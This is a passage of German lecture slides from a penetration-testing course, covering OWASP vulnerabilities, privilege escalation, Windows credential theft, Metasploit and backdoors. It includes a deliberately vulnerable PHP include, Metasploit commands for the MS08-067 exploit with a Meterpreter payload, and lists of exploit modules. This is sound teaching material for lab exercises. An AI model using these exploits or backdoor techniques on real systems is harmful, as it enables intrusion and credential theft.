100 März 2015 Penetration Testing

SSL Heartbleed

• Schwachstelle in bestimmten OpenSSL-Versionen

• erlaubt einem Angreifer, einen zufälligen Speicherbereich des Server-Prozesses auszulesen (Information Disclosure-Schwachstelle)

• zahlreiche Tools zum Ausnutzen online verfügbar

• ermöglicht Zugriff auf – Session Tokens

– Passwörter

– privates Schlüsselmaterial

Page 101: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

101 März 2015 Penetration Testing

OWASP A7 – Missing Function Level Access Control

Direkter Zugriff auf Funktionen, sofern deren URL bekannt ist

Beispiel: Gästebuch-Applikation

index.php?action=delete&id=5

Testen erfordert i.d.R. mehrere Accounts pro Rolle

Page 102: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

102 März 2015 Penetration Testing

OWASP A8 – Cross-Site Request Forgery

• Durchführung von Transaktionen im Namen anderer Benutzer

• Unterschieben eines manipulierten Links durch – Persistent Cross-Site-Scripting – E-Mail, Instant Messanging, Soziale Netzwerke etc.

• Beispiel: Abmelden-Funktion • http://www.example.com/user.php?action=logout

• Schwachstelle ist sehr verbreitet

Page 103: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

103 März 2015 Penetration Testing

OWASP A9 – Using Components with Known Vulnerabilities

„never touch a running system“ • Server-Prozesse laufen oft mit hohen Rechten

(root, SYSTEM) • typische Schwachstellen können sein

– Applikations-Schwachstellen (XSS, SQLi, …) – Buffer Overflow Remote Code Execution – Authentication Bypass – Denial-of-Service (DOS)

• Beispiel: Apache Webserver: DOS (CVE-2011-3192), Cookie-Disclosure (CVE-2012-0053)

Page 104: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

104 März 2015 Penetration Testing

OWASP A10 – Unvalidated Redirects and Forwards

• Veränderung von Weiterleitungsziel

• Gefahren: – Phishing – Malware-Infizierte Webseiten

Beispiel: „Schutz“-Funktion • Filterung auf „http://“

• Übung: Open Redirect

Page 105: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

105 März 2015 Penetration Testing

Weitere Web-Schwachstellen

• OWASP Top10 nur die Spitze des Eisbergs

• viele weitere Schwachstellen / Angriffe

– CRLF-Injection

– HTTP Parameter Pollution

– File-Inclusion

– Directory Traversal

– …

Page 106: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

106 März 2015 Penetration Testing

CRLF Injection

• Einfügen zusätzlicher Zeilenumbrüche – In HTTP-Headern – In E-Mail-Headern – usw.

• Gefahren:

– Open Redirect – HTTP Response Splitting – Spam-E-Mail-Versand über fremden Webserver – usw…

• Übung: CRLF Injection

Page 107: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

107 März 2015 Penetration Testing

„HTTP Parameter Pollution“

• Veränderung der Übergebenen Parameter • Variation von

– Kodierung – Anzahl – Reihenfolge

• Gefahren:

– Umgehung von Filtern – Unvorhersehbares Verhalten

• Übung: HTTP Parameter Pollution

Page 108: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

108 März 2015 Penetration Testing

Local File Inclusion • Einbinden von lokal abgelegten (Code)-Dateien • Typische Schwachstelle in PHP-Anwendungen • Webshell

• Beispiel in PHP: <?php

$lang = $_GET[’lang’];

include "languages/$lang.php"

[...]

?>

• Problem: Angreifer muss Schadcode auf den Server laden und darauf zugreifen

können • Ablage von Code in Server-Logs (User-Agent), Temp-Dateien (Session-Variablen )

• Übung: Local File Inclusion

Page 109: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

109 März 2015 Penetration Testing

Remote File Inclusion

• Einbinden von (Code-)Dateien von fremden Servern

• Sehr Einfach auszunutzen

• Übung: Remote File Inclusion

Page 110: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

110 März 2015 Penetration Testing

Rechteausweitung unter Linux

• Kernel Exploits

• Exploit lokaler Dienste

• suid-Programme

• Sudo-Konfiguration

• lesbare private ssh-Schlüssel

• Austausch von Programmdateien (Cronjobs, privilegierte Scripte, …)

• Passwörter, die „rumliegen“

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 111: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

111 März 2015 Penetration Testing

Große Übung 2

Führen Sie einen Penetrationstest gegen die Infoboard-Applikation durch

• Versuchen Sie, möglichst viele Schwachstellen aufzudecken

• Dokumentieren Sie Ihre Funde inklusive Einstufung (low, med, high)

• Versuchen Sie, root zu werden (es gibt mehrere Wege)

• Dateien anlegen / Benutzer hinzufügen ist erlaubt

• Keine vorsätzlichen Denial-of-Service-Angriffe

• Sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter ändern etc.)

Page 112: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

112 März 2015 Penetration Testing

Windows-Hacking

Q: Wikipedia

Page 113: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

113 März 2015 Penetration Testing

Unter Hackern „beliebt“

• Großer Marktanteil

• Größe des Programmcodes

• Hunderte von Treibern (viele 3rd Party)

• Abwärtskompatibilität (z.B: LM-Hashes)

• heterogene Netze

• Microsoft-eigene Komponenten nah am Kernel, bringt Geschwindigkeitsvorteile (IE, Office, etc.)

Page 114: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

114 März 2015 Penetration Testing

Domänen & Arbeitsgruppen

Jeder Windows-Computer ist entweder Teil einer Arbeitsgruppe, oder einer Domäne

Arbeitsgruppe Domäne

• Alle PCs gleichberechtigt • lokale Accounts auf jedem PC

hinterlegt • Arbeitsgruppe ist nicht durch PW

geschützt • nicht mehr als 20 PCs

• Ein (oder mehrere) Domain-Controller • Zentrale Verwaltung von

Benutzerkonten • Hinzufügen von Benutzern oder

Computern kann nur der Domänenadministrator

• keine Größenbeschränkung (hunderte bis tausende Computer sind üblich)

Page 115: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

115 März 2015 Penetration Testing

Domänen / Active Directory

• Baumstruktur

• Zentrale Verwaltung von Benutzern, Gruppen, Rechten

• Gruppenrichtlinien

• Protokolle

– LDAP

– Kerberos

– DNS

Page 116: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

116 März 2015 Penetration Testing

Anmeldeinformationen

lokale Benutzer Domänen-Benutzer

• Passwort-Hashes liegen in SAM (Security Account Manager) auf dem Computer, auf dem der Account existiert

• Anmeldung ohne Netzwerk-Verbindung

• früher: LM-Hashes (vor Vista) • jetzt: NTLM-Hashes (seit NT) • LM-Verfahren ist vollständig

gebrochen • oft liegen beide Hashes parallel vor • Verschlüsselung mit System-Key

• Passwort-Hashes liegen auf dem Domain-Controller (DC)

• Netzwerkverbindung zum DC erforderlich

• lokale Speicherung von Domain-Cached-Credentials für offline-Anmeldung • DCC1 bis XP • DCC2 ab Vista

Page 117: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

117 März 2015 Penetration Testing

Passworthash-Algorithmen • LM-Hashes

– Maximale Länge von 14 Zeichen – Umwandlung in Großbuchstaben – Teilen in zwei Hälften à 7 Zeichen – Erzeugen zweier DES-Keys aus den beiden PW-Hälften – Separates Verschlüsseln einer Konstanten mit den DES-Keys

• NTLM-Hashes – MD4(Passwort)

• DCC1 – MD4(NTLM+Username)

• DCC2 – PBKDF2(HMAC-SHA1, 10240, DCC1, Username)

Page 118: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

118 März 2015 Penetration Testing

Typische Benutzerkonten / Rollen

• Lokal – Gast

– normaler Nutzer

– Administrator

– SYSTEM

• Domäne – normaler Nutzer

– lokaler Administrator

– Domänen-Administrator

Page 119: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

119 März 2015 Penetration Testing

Authentisierung

• Domänen-Konten: Kerberos

• lokale Benutzerkonten: NTLMv2

– Challenge-Response-Verfahren

– Client braucht NTLM-Hash

– Pass-the-Hash-Angriffe sind möglich

Page 120: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

120 März 2015 Penetration Testing

Access Tokens

• Werden für eine Logon-Session generiert

• Ähnlich zu Web-Session-Cookies

• Enthalten Berechtigungen eines Nutzers bzw. all seiner Gruppen („Security Context“); SIDs

• Werden erzeugt bei: Interaktivem Login, Nutzung von Netzwerk-Freigaben, RDP-Zugriff, Citrix, VNC, Scheduled Tasks (RunAs), …

Page 121: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

121 März 2015 Penetration Testing

Rechte-Eskalation unter Windows • Passwörter finden

– Scripte – Konfigurationsdateien – unattend.xml (evtl. gelöscht) – Group Policy Preferences

• Kernel-Exploits • Service-Dateien austauschen • Scheduled Tasks • Binary Planting • Physischer Zugriff

– Fremdbooten (USB, PXE, CD-ROM) – Festplatte ausbauen – Firewire

• Der Schritt Administrator --> SYSTEM ist trivial

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 122: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

122 März 2015 Penetration Testing

Post-Exploitation / Plündern

• lokale SYSTEM-Rechte erlauben u.a. Zugriff auf – lokale Passwort-Hashes (LM/NTLM)

– Klartext-Passwörter angemeldeter Nutzer im Arbeitsspeicher

– Access Tokens

– DCCs

• Nützliche Tools: PWDump, WCE, Mimikatz

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 123: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

123 März 2015 Penetration Testing

Ausbreitung

• Wellenartige Ausbreitung im Netzwerk

• Weiterverwendung gefundener Passwörter / Passwort-Hashes

(Pass-the-Hash!)

1

2

3

3

3

2

3

Initial kompromittiertes System

Page 124: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

124 März 2015 Penetration Testing

Passwort-Rate-Angriffe Online-Angriff • Anmeldeversuche mit versch. Passwörtern • Tools: Hydra, Medusa Offline-Angriff • Hashes berechnen und vergleichen • Wörterbuch-Angriff • Beschleunigung mit Rainbow-Tables (ohne Salt) • schnell: MDx, SHAx, LM, NTLM, DCC1 • langsam: PBKDF2, DCC2 • Tools: John, Hashcat (GPU-Unterstützung)

Page 125: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

125 März 2015 Penetration Testing

Metasploit

• Metasploit-Framework

• Framework für Angriffe / Penetrationstests

• Komponenten – Scanner-Module

– Exploit-Module

– Post-Exploitation-Module

– Payloads

– Encoder

• Baukastenartige Kombination passender Komponenten zu einem funktionierenden Angriffswerkzeug

Page 126: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

126 März 2015 Penetration Testing

Metasploit Details

• Open Source

• Ruby

• Entwickelt von HD Moore

• Maintainance: Rapid7

• Varianten – Metasploit Framework

– Community Edition

– Metasploit Pro ($$$)

• Macht das Leben einfach

Page 127: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

127 März 2015 Penetration Testing

Auxilliary-Module

• Verschiedenste Module

– Directory Enumeration

– Login-Brute-Force

– Portscan

– Datenbank-Login

– …

Page 128: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

128 März 2015 Penetration Testing

Exploits

• Brauchen Payload

• Über 1.000 Exploits, z.B. gegen

– Windows (Remote / lokal)

– Adobe Reader (PDF-Dateien, Browser-Plugin)

– Internet Explorer (Drive-By-Downloads)

– HP Data Protector

– Ability FTP Server

– …

Page 129: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

129 März 2015 Penetration Testing

Payloads

• Shellcode und mehr

• Verschiedenste Kombinationen von Exploit und Payload

• Unterschiede je nach Platform (Windows, Linux, …) – Bind-Shell

– Reverse-Shell

– VNC-Server

– User anlegen

– Befehlszeile ausführen

– Meterpreter

Page 130: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

130 März 2015 Penetration Testing

Meterpreter

• Eierlegender Wollmilchsau-Trojaner • Features:

– Dateien hoch- und runterladen – Privilege Escalation – Kontrolle über Prozesse – Keylogger – Webcam und Desktop überwachen – Passwort-Hashes kopieren – Pivoting

• Kombination mit Post-Exploitation-Modulen

Page 131: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

131 März 2015 Penetration Testing

Post-Exploitation-Module

• Können auf aktive Meterpreter-Sitzungen angewendet werden

• Beispiele: – Privilege Escalation (Kernel Exploits)

– Passwort-Hashes stehlen (auch Drittsoftware)

– Domain-Cached-Credentials auslesen

– Information Gathering

– Group Policy Preferences auslesen

– Bitcoins stehlen

Page 132: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

132 März 2015 Penetration Testing

Encoder

• Viele Exploits haben Probleme mit bestimmten Bytes (Nullbyte, Zeilenumbrüche etc.)

• Encoder wandeln Payload bei selber Bedeutung in andere Byte-Sequenz um

• Können verschachtelt werden

• Umgehung Signatur-basierter AV-Lösungen

• z.B. nur alphanumerische Zeichen

Payload

Kodierte Payload Decoder

Page 133: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

133 März 2015 Penetration Testing

Metasploit-Schnittstellen

• msfconsole – Konsolenanwendung für Zugriff auf Metasploit-

Module

• msfpayload – Erzeugen von Payloads

• msfencode – Encoden von Payloads

• msfvenom – Ersatz für msfpayload und msfencode

• …

Page 134: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

134 März 2015 Penetration Testing

Beispiel: Angriff gegen Windows XP MS08_067

Schwachstelle im SMB-Dienst (Port 445)

Haupt-Verbreitungsweg von „Conficker“

> use exploit/windows/smb/ms08_067_netapi

> set rhost 192.168.100.0

> set payload windows/meterpreter/bind_tcp

> exploit

Demo / Übung: Eigene Windows-XP-Maschine angreifen via SMB-Exploit, PDF-Exploit, Pass-the-Hash

Page 135: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

135 März 2015 Penetration Testing

Module die man kennen sollte Scanner:

auxiliary/scanner/smb/smb_version

auxiliary/scanner/smb/smb_login

Pass-the-Hash:

auxiliary/admin/smb/psexec_command

exploit/windows/smb/psexec

Remote Exploits gegen Windows:

exploit/windows/dcerpc/ms03_026_dcom (CVE-2003-0352)

exploit/windows/smb/ms08_067_netapi (CVE-2008-4250)

Post-Exploitation:

post/windows/gather/cachedump

exploit/windows/local/ms10_015_kitrap0d (CVE-2010-0232)

exploit/windows/local/ppr_flatten_rec (CVE-2013-3660)

Client-Angriffe:

exploit/windows/fileformat/adobe_cooltype_sing (CVE-2010-2883)

Page 136: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

136 März 2015 Penetration Testing

Große Windows-Hacking-Übung Führen Sie einen Penetrationstest gegen das bereitgestellte Windows-Netzwerk durch • Versuchen Sie, möglichst viele Schwachstellen aufzudecken

/ mehrere Angriffswege zu finden • Dokumentieren Sie Ihre Funde • Versuchen Sie, Domänen-Administrator zu werden • Dateien anlegen / Benutzer hinzufügen ist erlaubt • Keine vorsätzlichen Denial-of-Service-Angriffe • Sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter

ändern etc.) • Bonusziel: Manipulieren Sie den gefundenen Webserver so,

dass ein Besucher (Teilnehmer-XP-Maschinen) gehackt wird

Page 137: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

137 März 2015 Penetration Testing

Spuren beseitigen • Verglichen mit Blackhat-Hackern beim Pentest

untergeordnete Bedeutung • Ein Angriff hinterlässt Spuren und Artefakte

– Log-Einträge – veränderte Zeitstempel – Datenmüll – zusätzliche Benutzerkonten – …

• Typischerweise sollten – Angriffswerkzeuge entfernt werden – Zusätzliche Benutzerkonten entfernt oder protokolliert

werden – Log-Dateien unangetastet bleiben

• Wichtiger als Aufräumen ist eine saubere Dokumentation der durchgeführten Schritte

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 138: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

138 März 2015 Penetration Testing

Hintertüren • Können mit msfpayload erzeugt werden • Platzierung z.B. als Autostart-Programm,

oder Programmdateien austauschen • Fallbeispiel: Tor-Exit-Node mit HTTP-Proxy,

der alle .EXE-Dateien mit Backdoor ausstattet (http://www.heise.de/security/ meldung/Russischer-Tor-Server-schleuste-Malware-in-Programme-2432114.html)

• Übung: Meterpreter-Backdoor für Windows erstellen

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 139: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

139 März 2015 Penetration Testing

Denial-of-Service • Angriffe gegen die Verfügbarkeit • i.d.R. nicht erwünscht, schon gar nicht bei

Produktivsystemen • Manchmal Nebenprodukt eines Pentests

durch – Überlastung (autom. Tools) – Fehlerhafte Tools / unvorhergesehenes

Verhalten – falsch eingesetzte Tools (z.B. wegen

fehlender Informationen, Buffer Overflow gegen falsches Ziel)

• RDP: MS12-020 • Apache: Byte-Range-DOS

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 140: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

140 März 2015 Penetration Testing: WLAN

Matthias Sattler, SySS GmbH

Penetration Testing: WLAN

Page 141: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

141 März 2015 Penetration Testing: WLAN

Dipl. Inform. Matthias Sattler

• Studium in Tübingen (Informatik, BWL)

• Seit 2012 IT-Security Consultant bei der SySS GmbH

Page 142: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

142 März 2015 Penetration Testing: WLAN

Agenda

• Einleitung

• Grundlagen und Technologien

• WLAN-Sniffing

• Sicherheit im Drahtlosnetzwerk / WLAN-Hacking

Page 143: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

143 März 2015 Penetration Testing: WLAN

Vorwort Werkzeuge

In der Regel gibt es für jedes in dieser Vorlesung verwendeten Werkzeuge eine Reihe von Alternativen.

Aus zeitlichen Gründen kann nicht auf jede dieser Alternativen eingegangen werden.

Page 144: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

144 März 2015 Penetration Testing: WLAN

Grundlagen und Technologien

Page 145: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

145 März 2015 Penetration Testing: WLAN

WLAN-Standards

• WLAN = Wireless-LAN (drahtloses lokales Netzwerk)

• Definiert durch IEEE 802.11

• Momentan existieren mehrere konkurrierende Standards

Page 146: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

146 März 2015 Penetration Testing: WLAN

WLAN-Standards

Page 147: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

147 März 2015 Penetration Testing: WLAN

802.11-Erweiterungen

Page 148: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

148 März 2015 Penetration Testing: WLAN

802.11-Erweiterungen

Page 149: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

149 März 2015 Penetration Testing: WLAN

802.11-Erweiterungen

Page 150: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

150 März 2015 Penetration Testing: WLAN

2,4 GHz Band

• Klassisches ISM-Band

• Zur Verwendung sowohl inner- als auch außerhalb von Gebäuden freigeben

• Zur Verwendung für Funknetze über Grundstücksgrenzen hinweg in Deutschland

• Max. Sendeleistung in Deutschland 20dBm (100mW), ansonsten lizenz- und gebührenpflichtig

Page 151: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

151 März 2015 Penetration Testing: WLAN

Page 152: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

152 März 2015 Penetration Testing: WLAN

2,4 GHz Band

• Störquellen können WLANs beeinflussen

• Problematik im Mischbetrieb:

– 11b- und 11g-Geräte 54 auf 11 Mbit/s

– 11g- und 11n-Geräte 450 auf 54 Mbit/s

Page 153: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

153 März 2015 Penetration Testing: WLAN

5 GHz Band

• Zur Allgemeinen Nutzung freigegeben – jedoch stark reguliert

• Durch höhere Frequenz höhere Dämpfung – dadurch ergibt sich eine geringere Reichweite

• Höhere Anzahl nicht-überlappender Kanäle

• Probleme mit DFS und TPC – dadurch bleiben effektiv nur wenige Kanäle übrig

Page 154: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

154 März 2015 Penetration Testing: WLAN

5 GHz Band

Page 155: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

155 März 2015 Penetration Testing: WLAN

5 GHz Band

• Störquellen können WLANs beeinflussen:

– Satellitenfunk

– Amateurfunk

– Flugnavigation

– Radar

Page 156: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

